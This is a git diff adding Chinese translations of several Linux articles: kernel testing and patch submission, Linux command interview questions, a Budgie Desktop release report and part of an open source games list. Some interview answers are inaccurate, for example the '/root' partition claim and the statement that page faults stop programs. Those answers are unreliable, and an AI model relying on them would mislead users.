bug,请确保真的已经修复了。如果真的修复了,请确保能通过系统测试。找出打你补丁的模块下面的回归测试工具,运行一下。如果补丁涉及到其他架构,你需要交叉编译然后测试一下。请通过下面的目录查找测试工具: + +- linux_git/Documentation +- linux_git/tools/testing +- 交叉编译参考:[在 x86_64 架构上交叉编译 Linux 内核:初学者教程][1] + +如果你对你的补丁测试结果感到很满意,你就可以提交补丁了。请确保提交 commit 的信息要描述得非常清楚。要让内核维护者和其他开发者看懂补丁所修改的内容,这一点非常重要。生成补丁后,执行 scripts/checkpatch.pl 脚本,找到 checkpatch 是产生的错误或警告(如果有的话),修复它们。重新生成补丁,直到补丁通过这个脚本的测试。重新测试这个补丁。将本补丁用于其他的内核源码上,保证不会有冲突产生。 + +现在你做好提交补丁的准备了。先运行 `scriptst/get_maintainer.pl` 来确认你应该把补丁发给哪个内核维护者。注意不要以附件形式发送补丁,而是以纯文本形式粘贴在邮件里面。确保你的邮件客户端可以发送纯文本信息,你可以试试给自己发送一份补丁邮件来测试你的邮件客户端的功能。收到自己的邮件后,运行 checkpatch 命令并给自己的内核源码打上你的补丁。如果这两部都能通过,你就可以给 Linux 邮箱列表发送补丁了。使用 git send-email 命令是提交补丁最安全的方式,可以避免你的邮箱的兼容性问题。你的 .gitconfig 文件里面需要配置好有效的 smtp 服务器,详细操作参考 git 的帮助文档。 + +更多提交补丁的规矩,请参考下面的资料: + +- linux_git/Documentation/applying-patches.txt +- linux_git/Documentation/SubmitChecklist +- linux_git/Documentation/SubmittingDrivers +- linux_git/Documentation/SubmittingPatches +- linux_git/Documentation/stable_kernel_rules.txt +- linux_git/Documentation/stable_api_nonsense.txt + +下面是一些内核测试教程的资料: + +- [USB Testing on Linux][2] +- [Linux Kernel Tester's Guide Chapter2][3] +- [Linux Kernel Tester's Guide][4] +- [Testing resources at eLinux.org][5] +- [eLinux Debugging Portal][6] + +### 内核测试套件和项目 ### + +除我们讨论过的测试资源之外,这里还有很多测试项目值得介绍,包括开源的和厂家自己提供的。这些项目每一个都是针对特定领域的,比如嵌入式或者企业自己使用。我们简单过一下。 + +[Linux 测试项目][7](LTP)测试套件是一系列工具的集合,用于测试内核的可靠性、健壮性和稳定性。你可以为这个项目添加自己的测试代码,并且 LTP 项目欢迎你贡献自己的代码。runltp 脚本默认情况下会测试下面的子系统: + +- 文件系统压力测试 +- 磁盘 IO 测试 +- 内存管理压力测试 +- IPC(进程间通信)测试 +- 调度器测试 +- 命令的功能性验证测试 +- 系统调用功能验证测试 + +[**LTP-DDT**][8] 是一个基于 LTP 的测试应用(LCTT:就是 LTP 的阉割版么),专注于测试嵌入式设备驱动。 + +[**Linux Driver Verification**][9] 这个项目的目标是提高 Linux 设备驱动的质量,它为设备驱动验证开发了集成环境平台,并且利用与时俱进的研究来增强验证工具的质量。 + +### 一致性测试 ### + +如果你有将某个 Unix 平台下的应用一直到另一个平台的经验,你就能理解 [Linux Standard Base (LSB)][10] 和 LSB 一致性测试套件的重要性了。LSB 是 Linux Foundation 工作组创建的用于降低支持不同 Linux 平台所需要的开销,方法就是通过降低不同 Linux 发行版之间的差别,保证应用在不同发行版之间的可移植性。前事不忘后事之师,Unix 世界的分歧在 Linux 世界一定要避免。这就是为什么你可以把一个 rpm 包转化成 deb 包后还能安装并正常运行的秘密。 + +### 静态分析工具 ### + +静态分析之所以会被称为“静态分析”,是因为这些工具只分析代码,并不执行它们。分析 Linux 内核代码的静态分析工具有很多,Sparse 是 Linus Torvalds 写的专门用于检查内核静态类型的工具。它是一个语义检查器,会为 C 语言的语义建立语义检析树,执行惰性类型评估。内核编译系统支持 sparse,并且为编译内核的命令提供开启 sparse 的选项。 + +为内核所有需要重新编译的 C 文件执行 sparse 语义检查: + + make C=1 allmodconfig + +为内核所有 C 文件(即使不需要重新编译)执行 sparse 语义检查: + + make C=2 allmodconfig + +Sparse 的资源: + +- [Sparse Archive][11] +- [Sparse How To][12] + +Smatch 分析程序代码的逻辑错误。它可以检测到诸如“为一个没锁上的 spinlock 执行解锁”的逻辑错误。内核源码支持 smatch: + +在 Linux 内核中运行 smatch: + + make CHECK="~/path/to/smatch/smatch -p=kernel" C=1 bzImage modules | tee warns.txt + +请参考下面的资料来获取和编译 smatch。需要注意的是 smatch 是个正在发展的项目,架构会不断变化。 + +- [**Smatch**][12] + +那么我们该怎么处理 Sparse 和 Smatch 所发现的语义和逻辑上的错误呢?一些错误可以被分离为日常问题或模块问题,可以轻易被解决。但是有些语义错误涉及到全局,因为剪切粘贴了一些代码。在一些环境中,当一些接口函数被废弃不再使用,或者仅仅做了写微小的修改,你就需要大规模更新源码。这时候你需要 Coccinelle 来帮忙。,Coccinelle 使用 SmPL 语言(语义包语言)来为 C 代码提供匹配和转换代码的功能。Coccinelle 的从一开始就作为 Linux 的附属产品持续发展的。 + +举个例子:foo(int) 函数突然变成 foo(int, char \*) 函数,多出了一个输入参数(可以把第二个参数置为 null)。所有调用 foo() 函数的代码都需要更新了,这可能是个悲摧的体力活。但是使用 Coccinelle 的话,这项工作瞬间变得轻松,脚本会帮你找到调用 foo(parameter1) 的代码,然后替换成 foo(parameter1, NULL)。做完这些后,所有调用这个函数的代码都可以运行一遍,验证下第二个参数为 NULL 是否能正常工作。关于 Coccinelle 的更多信息,以及在不同项目中(当然,也包括 Linux 内核这个项目)的使用方法,请参考项目主页:[**Cocinelle**][13]。 + +### 参考文献 ### + +本文涵盖了很多方面,这里列出一些参考文档供读者做进一步研究。 + +- [KernelHacking][14] +- [kernel Documentation][15] +- [Linux Device Drivers, Third Edition][16] +- [Dynamic Event Tracing in Linux Kernel][17] +- [Kernel Testing: Tool and Techniques][18] + +### 鸣谢 ### + +感谢来自 Oracle 的 Khalid Aziz,审查校对并提供许多非常有价值的建议。感谢来自三星的 Mauro Chehab 和 Guy Martin,他们给了我多次反馈。感谢来自 Linux Foundation 的 Grey Kroah-Hartman 对本文的审阅。感谢来自三星的 Ibrahim Haddad,没有他的支持和鼓励,我可能还不会坐下来写出这篇文章。 + +---------- + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/pictures/picture-1088573.jpg) + +作者:[Shuah Khan][a] + +Shuah Khan 是三星公司开源组的高级 Linux 内核开发工程师。 +她为 Linux 内核中的 IOMMU、DMA、电源管理、PCIe 贡献代码,同时维护内核,为内核提供补丁包。Shuah 有多年 Unix 内核开发经验。她也为 OpenHPI 和 LLDP 项目作贡献。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/linux-kernel-testing-and-debugging?page=0,5 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://events.linuxfoundation.org/sites/events/files/slides/Shuah_Khan_cross_compile_linux.pdf +[2]:http://www.linux-usb.org/usbtest/ +[3]:http://kernelnewbies.org/Linux_Kernel_Tester%27s_Guide_Chapter2 +[4]:http://www.kerneltravel.net/downloads/tester_guide.pdf +[5]:http://elinux.org/Test_Systems +[6]:http://elinux.org/Debugging_Portal +[7]:http://ltp.sourceforge.net/documentation/how-to/ltp.php +[8]:http://processors.wiki.ti.com/index.php/LTP-DDT +[9]:http://linuxtesting.org/project/ldv +[10]:http://www.linuxfoundation.org/collaborate/workgroups/lsb +[11]:http://codemonkey.org.uk/projects/git-snapshots/sparse/ +[12]:http://smatch.sourceforge.net/ +[13]:http://coccinelle.lip6.fr/ +[14]:http://kernelnewbies.org/KernelHacking +[15]:http://kernelnewbies.org/Documents +[16]:http://lwn.net/Kernel/LDD3/ +[17]:http://events.linuxfoundation.org/slides/lfcs2010_hiramatsu.pdf +[18]:http://events.linuxfoundation.org/images/stories/slides/elc2013_porter.pdf +[a]:http://www.linuxjournal.com/users/shuah-khan diff --git a/published/201408/20140722 10 Useful Interview Questions and Answers on Linux Commands.md b/published/201408/20140722 10 Useful Interview Questions and Answers on Linux Commands.md new file mode 100644 index 0000000000..8a0f099032 --- /dev/null +++ b/published/201408/20140722 10 Useful Interview Questions and Answers on Linux Commands.md @@ -0,0 +1,68 @@ +10个有用的Linux命令面试问题及答案 +================================================================================================================================================== +Linux命令行,以及用户使用Linux命令进行Linux shell交互,是Linux最吸引人的地方,也是面试中最普遍的话题之一。在这篇文章中,我们将提出10个面试中很重要问题,这肯定能拓宽你的知识面。 + +![Linux Command Questions](http://www.tecmint.com/wp-content/uploads/2014/07/Linux-Command-Questions.png) Linux Command Questions + +### 1. 如何暂停一个正在运行的进程,让其在后台运行? ### + +**答案**:为了停止正在运行的进程,让其在后台运行,我们可以使用组合键 Ctrl+Z。 + +### 2. 什么是安装Linux所需的最小分区数量,以及如何查看系统启动信息? ### + +**答案**:单独一个/root分区足以执行所有的系统任务,但是强烈建议安装Linux时,需要至少三个分区:/root,/boot,/swap。一个IDE硬盘驱动器支持高达63个分区,SCSI硬盘驱动器支持超过15个分区。 + +为了检查启动信息,我们可以使用cat或者dmesg命令,如下所示: + + #cat /var/log/messages + +OR + + #dmesg + +### 3. 在你的Linux机器上跟踪系统事件的守护进程名是什么?### + +**答案**:'syslogd',它负责跟踪系统信息,并将跟踪日志存储在特定的日志文件里。 + +### 4. 在/root分区运行'fsck'命令的最低要求是什么?### + +**答案**:/root分区必须挂载为只读模式,而不是读写模式 + +### 5. 如何分层复制/home目录到另一个目录?### + +**答案**:Linux的'cpio'命令起到了效果。'cpio'可以分层地复制文件和目录层次结构到另一个位置。 + +### 6. 在Linux中,怎样实现日志文件的自动替换?### + +**答案**:'logrotate'提供日志自动替换功能。 + +### 7. 怎样知道Linux中是谁在安排工作?### + +**答案**:使用'at'命令加上'-l'选项,就可以查出。 + +### 8. 如何在不解压tar包的前提下,查看包里的内容? ### + +**答案**:使用'tar -tvf'。选项‘t’(显示内容),‘v’(详细报告tar处理的文件信息),‘f’(使用档案文件或者设备) + +### 9. 什么是页面错误,它是怎么发生的?### + +**答案**:当一个程序请求内存中不存在的数据时,就会产生页面错误,导致的结果就是程序停止。 + +### 10. 什么是在程序中返回代码?### + +**答案**:返回代码是shell的特性。返回代码显示了程序的状态,一个成功的程序执行后返回‘0’,&&可以用来决定那个应用程序先执行。 + +好了,文章要结束了。不久以后,我还会在这分享其余有趣文章的,记得和我们保持联系。还有,别忘了在评论栏里面向我们提供您的宝贵意见。 + +----------------------------------------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-useful-interview-questions-and-answers-on-linux-commands/ + +原文作者:[Avishek Kumar][a] + +译者:[su-kaiyao](https://github.com/su-kaiyao) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ + diff --git a/published/201408/20140722 Budgie Desktop 5.1 Is a Superb New Desktop Environment for Conservative Users.md b/published/201408/20140722 Budgie Desktop 5.1 Is a Superb New Desktop Environment for Conservative Users.md new file mode 100644 index 0000000000..629d71f554 --- /dev/null +++ b/published/201408/20140722 Budgie Desktop 5.1 Is a Superb New Desktop Environment for Conservative Users.md @@ -0,0 +1,42 @@ +Budgie桌面5.1 :给保守用户的超好桌面环境 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Budgie-Desktop-5-1-Is-a-Superb-New-Desktop-Environment-For-Conservative-Users-451477-2.jpg) + +**Evolve OS的开发者Ikey Doherty,制作了这款叫做Budgie Desktop的新桌面环境并且发布了它的新版本。** + +Evolve OS还没有发布,但开发者正积极地进行关于它的工作。系统中并没有采用任何现有的桌面环境,他们决定最好还是制作一个自己的。这个桌面基于GNOME并用了不少GNOME的包,但它看起来却截然不同。事实上,它使用了与MATE和Cinnamon桌面相同的模式,尽管Budgie似乎更有现代感更优美一些。 + +有趣的是,桌面这个关键的技术部分却先于其将要服务的操作系统发布了,但是对此感兴趣的用户完全不必惊讶。由此也出现了可用于Ubuntu 14.04 LTS 和Ubuntu 14.10的[PPA][1],但这不是官方的。Arch Linux用户也将还会在AUR库中发现新的桌面环境。 + +“从V4版本以来,几乎所有的改变都与面板有关。它已被使用Vala语言重写,这降低了维护开销也大大降低了新贡献者进入的门槛。所以,如果你使用OBS的话,当你(希望是)今天在OBS上获取到更新,或者对Evolve OS用户,你已经安装了更新,你将只能感觉到很小的视觉差异。我的想法是不去改变外观,而是重写代码来使它更好些。” + +“将它重写成Vala语言的程序付出了很多努力,但马上就会见到成效。将来桌面整个都将会用Vala重写,成为‘第二次写’——第二次我们会做的更好”Ikey Doherty在发布[公告][2]中这样说。 + +虽然这个桌面环境看起来已经很好了,但从版本号码可以看出,还是有很多的提升空间。开发者承诺,下一个版本6.x系列,将允许用户使用任何libpeas支持的语言编写插件,其中语言包括C,Vala,JavaScript和Python。 + +用户还会注意到,Budgie桌面的一些主要元素仍然保持原样,像菜单的位置以及图标的大小。将来,有可能可以去改变它们,但现在,用户需要关心的是哪些是可用的。 + +即使在这个初期阶段,Budgie桌面5.1看起来也要比那些可以在其他操作系统上找到的很多可选的桌面要好。 + +立即下载支持Ubuntu和Arch Linux的源代码包 + +- [GIT 源代码][3][sources] [0 KB] +- [Ubuntu 14.04 PPA 库][4][ubuntu_deb] [0 KB] +- [Arch Linux 二进制包][5][binary] [0 KB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Budgie-Desktop-5-1-Is-a-Superb-New-Desktop-Environment-For-Conservative-Users-451477.shtml + +原文作者:[Silviu Stahie][a] + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:https://launchpad.net/~sukso96100/+archive/ubuntu/budgie-desktop +[2]:https://evolve-os.com/2014/07/20/budgie-desktop-v5-1-released/ +[3]:https://github.com/evolve-os/budgie-desktop/ +[4]:https://launchpad.net/~sukso96100/+archive/ubuntu/budgie-desktop?field.series_filter=trusty +[5]:https://aur.archlinux.org/packages/budgie-desktop-git \ No newline at end of file diff --git a/published/201408/20140723 110 Fun Open Source Games and Apps.md b/published/201408/20140723 110 Fun Open Source Games and Apps.md new file mode 100644 index 0000000000..431a4ec143 --- /dev/null +++ b/published/201408/20140723 110 Fun Open Source Games and Apps.md @@ -0,0 +1,614 @@ +translating by disylee 20140701 +110 Fun Open Source Games and Apps +110款有趣的开源游戏和应用 +================================================================================ + +让我们再次庆祝,这个夏天伴随着一系列最好的开源游戏到来。我们已经更新了[去年的列表][1],把新开发的添加进来,与此同时把一些不再处于积极开发之中的旧游戏从列表中剔除。你能从其中找到街机、棋盘、休闲、拼图、益智、第一人称射击游戏、音乐、竞速、角色扮演、冒险、模拟和战略游戏等,也有少量其实并非真正的游戏的应用程序,但它们同样非常有趣。 + +今年,有比以往有更多的开源游戏可用于移动设备上,主要是安卓设备。这种趋势,很有希望在未来几年一直保存下去。 + +请注意,这个列表并不是排行榜。这些应用程序被分别归类,并在每个类别中按照字母顺序排列。 + +如果你想给明年的游戏列表推荐一个游戏,请随时在下面的评论区中留言。 + +### 街机游戏 ### + +#### 1. [安迪的超级大公园][2] #### + +你乘坐在过山车上躲避着障碍物,同时去抓取气球。其中有25个基础关卡,加上18个你可以通过获得高分来解锁的额外关卡。可使用操作系统:Windows,Linux或者安卓。 + +#### 2. [Armagetron Advanced][3] #### + +一个3D复刻电影《创(Tron)》的游戏,这个游戏的挑战是让你操控你的轻型摩托,让对手们比你自己更早地撞上墙。它支持单机模式和最多可16人参与的网络模式。适用操作系统:Windows,Linux,OS X或者安卓。 + +#### 3. [BZFlag][4] #### + +也就是众所周知的“战场夺旗”,BZflag是一个热门的在线坦克游戏。它自1992年开始开发,现在具备了3D画面、多种游戏模式和多人竞争比赛等特性。适用操作系统:Windows,Linux,OS X或者安卓。 + +#### 4. [Chromium B.S.U.] [5] #### + +别被这个名字骗过了,它和Chromium浏览器没有任何关系。这是一款快节奏的纵向卷轴射击游戏,它的难点在于如何进行合理的设置,以让游戏中的战斗能在15分钟内结束。适用操作系统:Windows,Linux。 + +#### 5. [埃德加的传说][6] #### + +埃德加的传说是一个老式平台的游戏,主角必须通过克服障碍、打倒敌人来完成他的任务。它包含了许多不同的武器和大量的关卡。适用操作系统:Windows,Linux和OS X。 + +#### 6. [JVGS][7] #### + + +比起非常精细的画面,JVGS选择了采用最抽象的方式,用简笔画风格贯穿全部画面,看起来就像使用铅笔手工绘制而成。在这个不寻常的游戏中,主角是一个失去记忆的诗人。适用操作系统:Windows,Linux和OS X。 + +#### 7. [失重][8] #### + +这个以太空为背景的街机射击游戏,带领玩家前往8002年的未来,在未来世界中他们必须完成各种各样的任务。可以一提的是,这个游戏也可以在安卓和IOS中使用,但并不是免费的。适用操作系统有:Windows,Linux和OS X。 + +#### 8. [开源索尼克][9] #### + +在刺猬索尼克游戏的基础上,开源索尼克新增了协作的玩法,即玩家用户可以同时控制3个角色。原始的游戏版本只有两个关卡,但是很多游戏粉丝们已经创建了不少可玩的额外模组。适用操作系统:Windows, Linux和OS X. + +#### 9. [Powermanga][10] #### + +类似于老式街机游戏《小蜜蜂》,Powermanga是一款2D的、纵向卷轴的太空射击游戏。它拥有超过41个关卡,并能够在更旧的硬件环境上运行。适用操作系统:Linux。 + +#### 10. [焦土战争3D][11] #### + +焦土战争3D是DOS游戏《焦土战争》的一个现代重制版,最引人瞩目的是它出色的画面。你可以玩单机模式,或者连接到它的许多网络服务器之一,来进行多玩家联机模式。适用操作系统:Windows, Linux和 OS X. + +#### 11. [索尼克机器大战 2][12] #### + +另一款基于刺猬索尼克的平台游戏,SRB2是一款采用了Doom引擎创建的3D平台游戏。它包括了3个不同的可操控角色和超过20个关卡。适用操作系统:Linux。 + +#### 12. [超级Tux][13] #### + +超级Tux很像经典的马里奥兄弟游戏,不过是以Linux的小企鹅Tux作为主人公。这是一个2D横向卷轴的平台游戏,其中有9种不同的敌人和26个关卡可以玩。适用操作系统:Windows, Linux和OS X. + +#### 13. [Those Funny Funguloids][14] #### + +这个独一无二的游戏让玩家挑战在太空中收集蘑菇。该网站称:“此前从未有收集蘑菇的游戏能如此有趣。至少不是在外太空。它比起游戏更像是一种生活方式,相信我。”适用操作系统:Windows和Linux. + + +#### 14. [Teeworlds][15] #### + +这个在线游戏将自己描述成一个“怀旧多人射击游戏”。它是一个横向卷轴的2D游戏,可支持多达16名玩家和许多不同的游戏模式。适用操作系统:Windows, Linux和 OS X. + +#### 15. [X摩托][16] #### + +在这个游戏中,你要骑着一辆摩托车闯过一个横向卷轴地图,同时收集草莓并躲开凶残的“肇事者”。它玩起来比看起来要难!适用操作系统:Windows, Linux和 OS X. + +#### 16. [鼯鼠弗兰基!][17] #### + +使用Blender开源3D动画工具开发,鼯鼠弗兰基的特色是角色来源于开源电影Peach。玩家必须操控弗兰基——一只蜜袋鼯鼠,或者Momo——一只猴子,在非常精美的3D环境中跳过、绕过或者穿过各种障碍物。适用操作系统: Windows, Linux和 OS X. + +### 棋盘游戏 ### + +#### 17. [统治][18] #### + +基于Java的《统治》为你的PC或安卓设备带来了棋盘游戏《Risk》。最新版本中通过谷歌游戏服务的支持,让你能与你的Google+好友们进行实时的多人游戏。适用操作系统:Windows, Linux, OS X和 Android. + +#### 18. [GNU 西洋双陆棋][19] #### + + +这个“世界级”的西洋双陆棋引擎,当你每次挑战它的时候,它都会变得更强,并且它能够分析你的战术来帮助你玩得更好。它的界面很棒,并且还支持个性化定制。适用操作系统:Windows,Linux和OS X。 + +#### 19. [3D 拼字游戏][20] #### + +在这个拼字游戏的变体版本中,你可以选择自己的图板——经典版、超级拼字版、3D拼字版或者你自定义的图板。玩家可以与AI对战,或者连接到在线服务器上进行多人游戏。适用操作系统:Windows, Linux和 OS X. + +#### 20. [PokerTH][21] #### + +这个高品质的德州扑克应用程序拥有优秀的、可定制的界面。想要在线玩并看看你相对于其他玩家的排名,可以前往[Poker-Heroes.com][112]在线注册。适用操作系统:Windows,Linux和OS X,Android系统。 + +#### 21. [PySolFC][22] #### + +你知道单人纸牌游戏有超过1000种玩法吗?这个大合辑包含“使用52张纸牌的国际标准纸牌游戏、使用78张纸牌的塔罗纸牌游戏、8张或10张一套的印度双骰游戏、花札游戏、矩阵游戏、麻将游戏和一种原创的基于十六进制的纸牌游戏”。适用操作系统: Windows, Linux和 OS X. + + +### 休闲解谜游戏 ### + +#### 22. [2048][23] #### + +在这个简单却容易上瘾的益智游戏中,玩家需要来回挪动方块来合并数字等。当你将数字累加到2048时,你就赢了。适用操作系统:在线,IOS或者安卓。 + + +#### 23. [台球][24] #### + +《台球》这个游戏的目标是希望做到足够真实,让你在没有一张可用的台球桌时也够能进行台球杆的运动练习。它拥有一个好看的3D界面,同时也可以在没有良好图形处理能力的系统中以2D形式运行。适用操作系统:Linux。 + + +#### 24. [立方体列车][25] #### + +铺设铁轨来连接隧道和桥梁,同时采取各种策略绕过障碍物。你可以挑战其中大量的内置关卡,或者自己创建一个。适用操作系统:Windows,Linux或者OS X。 + +#### 25. [Enigma][26] #### + +类似于以前《Oxyd and Rock'n'Roll》系列游戏,《Enigma》让玩家挑战从迷宫、陷阱、激光束和其它障碍之间找出配对的石头。这个游戏拥有1000多个关卡,这是一款能让你沉迷很长很长时间的解密游戏。适用操作系统:Windows,Linux和OS X。 + + +#### 26. [Fish Fillets NG][27] #### + +在这个解谜游戏中,玩家必须尝试在70个关卡中分别找到一条安全的通关路径。一路上,鱼类和其它水下居民会对玩家的操作提出幽默的解说。适用操作系统:Windows, Linux和 OS X. + +#### 27. [冰冻泡泡][28] #### + +作为最古老的泡泡射击游戏之一,冰冻泡沫以Linux小企鹅Tux和超过100个单人游戏关卡为特色。你也可以通过局域网或者互联网对阵2~5个玩家。适用操作系统:Windows和Linux。 + +#### 28. [GnomeGames][29] #### + +这个合辑包含了15个不同的休闲游戏,这些游戏你都可以只花五分钟或更少的时间来玩。它包括了数独、一个扫雷游戏、麻将和一个版本的黑白棋等等。适用操作系统:Linux。 + +#### 29. [番茄炸弹超人][30] #### + +10分钟内,你能够粉碎多少个西红柿?这个“特别闲的时候玩的东西”和《Those Funny Funguloids》由同一个的团队打造。适用操作系统: Windows和 Linux. + +#### 30. [KDE 游戏][31] #### + +这是一个KDE桌面上的休闲游戏合辑。它包含了一个变体纸牌游戏、一个版本的打砖块、一个高尔夫游戏、一个版本的Risk、一个扫雷,还有数独等等。适用操作系统:Windows和Linux。 + +#### 31. [Neverball][32] #### + +在这个游戏中,玩家必须倾斜地板去引导球通过障碍场地。这个游戏包括许多关卡,并且你可以设计自己的关卡。适用操作系统:Windows, Linux和 OS X。 + +#### 32. [疯狂小企鹅][33] #### + +在90年代时,你是否曾经花费数个小时去玩《疯狂小旅鼠》?如果是这样的话,《疯狂小企鹅》就是为你而设计的。它是《疯狂小旅鼠》的一个复刻版(使用企鹅替代了旅鼠),有77个关卡。适用操作系统:Windows, Linux和 OS X. + +#### 33. [推倒][34] #### + +这个解谜游戏的特色是,让蚂蚁来推倒具有各种不同图案的多米诺骨牌。玩家必须让所有多米诺骨牌倒下,并将一个特殊的触发信号发送至出口,这样才能进入下一关。适用操作系统:Windows。 + +#### 34. [Zaz][35] #### + +这是另一款泡泡射击游戏,《Zaz》让你挑战射击一些沿着预定路线前进的小球。其独到之处是你的发射器也是沿着一条预定路径移动着的,这样就让各种操作变得更难一些了。适用操作系统:Windows和Linux。 + +### 益智游戏 ### + +#### 35. [ChildsPlay][36] #### + +《ChildsPlay》专为5岁及以下的儿童设计,能够帮助指导他们发音、字母、数字和基础的键盘技巧。它也包括了一些游戏,例如记忆游戏、打砖块和吃豆豆。适用操作系统:Windows,Linux和OS X。 + +#### 36. [GBrainy][37] #### + +通过《GBrainy》中的逻辑、词汇、数学和记忆游戏,来锻炼你的思维。它对于所有年龄段的玩家来说,都会十分有趣并且有益头脑。适用操作系统:Windows和 Linux. + +#### 37. [GCompris][38] #### + +专为2~10岁的儿童设计,《GCompris》包含了超过100种不同的游戏,其中大多数是教育性质的。它包括数学、地理、科学、阅读、敲键盘和艺术游戏,再加上国际象棋、数独、记忆游戏等等。适用操作系统:Wwindows和Linux。 + +#### 38. [TuxMath][39] #### + +在即将到来的彗星杀死企鹅之前迅速地解决数学问题。这个简单的游戏能够强化小学年龄段学生们的数学能力。适用操作系统:Windows, Linux和 OS X. + +### 第一人称射击游戏 ### + +#### 39. [外星人竞技场][40] #### + +被设计为“以弹药对抗弹药”的《外星人竞技场》是有着复古科幻主题的一场紧张的死亡竞争射击枪战。许多不同的网站为联机游戏提供了托管服务器,也有很多记录了各种游戏技巧等等的粉丝网站。适用操作系统:Linux, Windows和 OS X. + +#### 40. [AssaultCube][41] #### + +因其轻量级,即使拥有非常不错的真实感画面,AssaultCube仍然能在更旧的硬件设备上运行。它支持单人和多人游戏,包括了26张不同的地图和12种不同的游戏模式。适用操作系统:Linux,Wwindows和OS X。 + +#### 41. [经典 Nexuiz][42] #### + +下载量超过600万次,《Nexuiz》是最热门的开源射击游戏之一。几年前,该游戏发布了一个新的闭源版本,不过你仍然可以通过上面的链接从SourceForge下载经典版本。适用操作系统:Windows, Linux和OS X. + +#### 42. [OpenArena][43] #### + +这个多人游戏是雷神之锤3竞技场的复刻,特色是拥有13种不同的武器、51个竞技场、18个玩家角色和12种游戏类型。该项目的拥有者发出警告,“由于暴力和偶尔的不健康内容,它不适合17岁以下的孩子玩”。适用操作系统:Windows, Linux和 OS X. + +#### 43. [红食][44] #### + +这个休闲的第一人称射击游戏获得了极高的评价。其特色是包含跑酷、冲撞、冲刺要素,拥有多种游戏模式和一个内置的关卡编辑器。适用操作系统:Windows, Linux和 OS X. + +#### 44. [Tremulous][45] #### + +这个屡获殊荣的游戏是将即时战略游戏元素和第一视角射击游戏混合而成。玩家可以选择扮演外星人或者人类,目标则始终是消灭其它队的对手。适用操作系统:Windows, Linux, OS X和 XBox. + +#### 45. [TrueCombat][46] #### + +《TrueCombat》宣称要成为“也许永远是最好的免费写实系战术射击游戏”。这是一个敌对双方进行对抗战的现代背景战斗模拟器。请注意,为了使用它,你还需要安装《重返德军总部:深入敌后(见下)》。操作系统:Windows, Linux和 OS X。 + +#### 46. [Unvanquished][47] #### + +从《Tremulous》分支出来,《Unvanquished》专注于“科技高度发展的人类对抗适应能力超强的外星人群体”。它正处于积极开发中,每个月都会发布新版本。适用操作系统:Windows, Linux和 OS X。 + +#### 47. [Warsow][48] #### + +这款自称在“Web上节奏最快的运动游戏”,Warsow是一个卡通风格的射击游戏,它的特色是”手持火箭炮的猪和扛着激光器赛博朋克风人物”。于大多数射击游戏的不同之处是,它并未充斥着血和内脏,并将游戏重心放在了移动上。适用操作系统:Windows,Linux和OS x. + +#### 48. [重返德军总部:深入敌后][49] + +虽然已经有不少专攻德军总部的游戏,不过这一个是开源的。这是一个背景为第二次世界大战时代的游戏,当时轴心国正与盟军对抗。适用操作系统:Windows,Linux,OS X。 + +#### 49. [扁蝠侠的世界][50] #### + +基于Quake引擎开发,这个射击游戏充满了有棱角的卡通风格。可用的网络服务器相当少,不过您也可以离线玩。(LCTT译注:游戏译名中的“扁蝠侠”并不是打错字,而是这个游戏的原名“Padman”就是故意取自蝙蝠侠“Batman”的梗)适用操作系统:Windows和Linux。 + +#### 50. [Xonotic][51] #### + +Xonotic是源于经典版《Nexuiz》的分支。它拥有超过22种不同的地图,16种武器和大量不同的游戏模式。适用操作系统:Windows, Linux和OS X. + +#### 51. [零弹道][52] #### + +一部分是第一人称射击,一部分是坦克大战,零弹道的游戏背景设计在一个风景如画的山区环境中,并已经拥有超过81个坦克体系可用。可以进行死亡竞赛、团队死亡竞赛或独特的beaconstrike模式。适用操作系统:Windows、Linux 和 OS X。 + +### 音乐游戏 ### + +#### 52. [Frets on Fire][53] #### + +Frets on Fire这个游戏很像《吉它英雄》,它甚至能够使用《吉它英雄》的歌曲来玩(当然其它歌曲也同样可用)。不必为自己没有一个吉它控制器而担心——你也可以用键盘来玩。适用操作系统:Windows, Linux和 OS X. + +#### 53. [StepMania][54] #### + +这是一个免费版的《Dance Dance Revolution》,它让玩家尝试挑战跟上乐曲的节拍。你既可以使用跳舞毯(如果你有的话)来跳,也可以只用键盘来玩。适用操作系统:Windows, Linux/Unix, OS X或者 XBox. + +#### 54. [Ultrastar Deluxe][55] #### + +如果卡拉OK是你的菜,那么你也应该会喜欢《Ultrastar Deluxe》。在这个游戏中,你必须以准确的调子和正确的节拍独立去唱歌。它包含了超过10000歌曲。适用操作系统: Windows, Linux和OS X. + +### 竞速游戏 ### + +#### 55. [Extreme Tux Racer][56] #### + +《[Tux Racer][113]》是一款早年广受欢迎的游戏,其特色是Linux的小企鹅Tux用肚皮从山坡上滑下。《Extreme Tux Racer》为如今的游戏玩家升级了这款经典游戏。适用操作系统:Windows, Linux和OS X. + +#### 56. [竞速梦想][57] #### + +这个自动赛车游戏《TORCS》(见下文)分支版本的特色,是拥有更好的UI界面以及许多新车和赛道。与《TORCS》同样,其视觉效果非常出色。适用操作系统:Windows和 Linux. + +#### 57. [SuperTuxKart][58] #### + +这款卡通风格赛车游戏的特点是让Linux小企鹅Tux与它的小伙伴们来驾驶卡丁车。引导它们沿着赛道前进,同时避开一堆障碍物的撞击吧。适用操作系统:Windows, Linux和 OS X. + +#### 58. [TORCS][59] #### + +TROCS是"The Open Racing Care Simulator”的缩写,它是一款已有大量粉丝基础的杰出的写实系赛车游戏。单独赛车或与众多赛道之一上的朋友们竞赛都是可选的。适用操作系统:Windows, Linux和 OS X. + + +#### 59. [无限特技飞车][60] #### + 